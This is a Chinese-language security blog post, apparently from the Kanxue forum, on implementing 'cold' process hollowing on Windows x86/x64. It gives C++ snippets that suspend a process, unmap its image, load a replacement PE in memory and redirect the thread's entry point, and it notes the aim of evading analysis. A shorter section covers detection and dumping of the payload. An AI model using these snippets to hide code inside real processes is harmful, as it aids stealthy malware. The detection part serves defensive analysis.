查看原文
其他

常见进程注入的实现及内存dump分析——Process Hollowing(冷注入)

2018-03-31 sudozhange 看雪学院

前言


在前几篇帖子中,介绍了几种常见的内存注入技术及分析,前几天在Twitter上看到有人又谈论起了Process Hollowing这种注入方法,研究了一下,用这篇帖子记录下。该方法有两种实现方式,分为“冷”注入和“热”注入,该帖仅讨论“冷”注入,这种注入方式在前两年被较多的恶意软件使用,如勒索软件Locky。我在网上的代码的基础上,进行了一些更改,支持了x64下的注入,并与上篇帖子《常见进程注入的实现及内存dump分析——内存模块 》进行了结合,实现了远程内存加载,让恶意内存区段看起来更接近正常区段。


借用EndGame的描述图(侵删)



环境


OS:Windows 10 PRO 1709

IDE:Visual Studio 2015 Community

语言:Visual C++



步骤


1、创建挂起的进程。

2、卸载掉原来的模块。

3、写入新的文件。

4、恢复现场。



实现


1、创建挂起的进程。


CreateProcessA(NULL, 

    lpCommandLine, NULL,NULL, NULL, 

    CREATE_SUSPENDED, 

        NULL, NULL, lpStartupInfo, lpProcessInformation

);


2、获取模块的基地址(通过PEB获取)。


首先,我们要获取目标进程的PEB结构,可以通过NtQueryInformationProcess 函数来获取进程信息 PROCESS_BASIC_INFORMATION,进程信息中保存着PEB的地址指针。结构如下:


struct PROCESS_BASIC_INFORMATION {

    PVOID Reserved1;

    PVOID PebBaseAddress;

    PVOID Reserved2[2];

    DWORD UniqueProcessId;

    PVOID Reserved3;

};


获取 PROCESS_BASIC_INFORMATION 结构体。


ntQueryInfomationProcess(hProcess, 0, pProcessInformation, sizeof(PROCESS_BASIC_INFORMATION), &dwReturnLength);


获取到PEB的地址后,读取内存,即可获取到PEB结构体。

ReadProcessMemory(hProcess, dwPEBAddress, pPEB, sizeof(__PEB), 0);


PEB结构中保存着镜像的基地址(要卸载的模块)。


3、卸载模块


NtUnmapViewSection(lpProcessInformation->hProcess, pPEB->lpImageBaseAddress);


4、将新的PE文件加载到目标进程,替代卸载掉的模块


新的PE文件加载,我使用的是Memory Module方式,加大了被发现和分析的难度。具体的实现可参考上篇帖子,地址在片头已经给出。


要注意的地方:由于镜像加载到的是另一进程,所以,涉及到数据修改的地方,尽量保存在Dropper进程的PE文件的副本中,避免多次读取目标进程内存。


5、获取目标进程的主线程上下文,并对上下文进行修改。


每个线程内核对象都维护着一个CONTEXT结构,里面保存了线程运行的状态,使得CPU可以记得上次运行该线程运行到哪里了,该从哪里开始运行。


获取上下文。


ULONG_PTR dwEntryPoint = (ULONG_PTR)pPEB->lpImageBaseAddress +pSourceHeader->OptionalHeader.AddressOfEntryPoint; 

LPCONTEXT pContext = new CONTEXT(); 

pContext->ContextFlags = CONTEXT_INTEGER; GetThreadContext(lpProcessInformation->hThread, pContext);


修改Context。

#ifdef  _WIN64

    pContext->Rcx = dwEntryPoint;

#else

    pContext->Eax = dwEntryPoint;

#endif //  _WIN64


32位模式下的eax寄存器,保存的值为程序的入口点地址,即镜像加载基址+镜像内偏移。而在64为模式下,变为了Rcx寄存器。


6、设置上下文,恢复线程。

SetThreadContext(lpProcessInformation->hThread, pContext);

ResumeThread(lpProcessInformation->hThread);


结果




分析


从上面的结果中,可以发现,缺少了进程的可执行模块。



正常进程


在排查的过程中,可以从用户启动的进程入手。



从进程属性上看,存在着明显的信息。



对代码,进行逆向分析,会发现一些敏感函数。




由于进程中的可执行模块已经被替换掉,所以可以直接从进程中dump,然后使用ida进行分析payload。dump之后,可能需要重新修复导入表。我在dump64位进程的时候,没有找到合适的修复工具,使用IDA和x64dbg手工修复的。可以根据地址,在Process Hacker找到归属的DLL,然后再使用IDA找到函数名。




最后

GitHub地址:https://github.com/SudoZhange/ProcessInjection 


参考

https://github.com/m0n0ph1/Process-Hollowing






本文由看雪翻译小组 sudozhange 原创

转载请注明来自看雪社区



往期热门阅读:




点击阅读原文/read,

更多干货等着你~

扫描二维码关注我们,更多干货等你来拿!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存